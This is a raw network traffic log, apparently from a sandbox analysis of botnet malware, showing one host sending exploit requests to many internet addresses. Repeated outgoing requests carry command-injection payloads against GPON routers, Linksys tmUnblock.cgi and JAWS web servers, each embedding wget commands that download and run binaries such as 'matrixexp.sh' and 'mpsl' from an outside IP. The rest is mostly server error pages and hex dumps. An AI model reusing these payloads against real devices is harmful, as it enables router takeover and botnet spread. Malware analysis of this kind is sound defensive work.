Mar 21, 2024 05:21:47.883397102 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:21:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	55260	132.251.246.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.702744961 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:47.918632984 CET	346	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:21:47.918644905 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	46032	27.238.181.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:48.445621014 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:48.730155945 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	41442	54.73.90.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:48.787501097 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:49.695302010 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:49.860071898 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:21:49 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	17298	217.115.40.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:48.989108086 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	51364	109.56.63.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.044886112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	39300	42.4.69.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.044936895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	45200	210.117.200.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.044959068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	42896	109.166.208.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.044959068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	59818	91.229.3.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.974622965 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:50.911235094 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:51.087076902 CET	461	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:50 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	59702	69.174.115.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:49.986176968 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:50.090128899 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:21:50 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:21:50.090217113 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:21:50.090281963 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:21:50.090337992 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:21:50.090389967 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:21:50.090444088 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:21:50.090497971 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:21:50.090568066 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to vps38347.inmotionhosting.com's <a href="mailto:mac
Mar 21, 2024 05:21:50.090579987 CET	396	IN	Data Raw: 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 Data Ascii: .com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	56970	172.67.249.251	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.031899929 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	50958	172.66.128.83	8080

Timestamp	Bytes transferred	Direction	Data
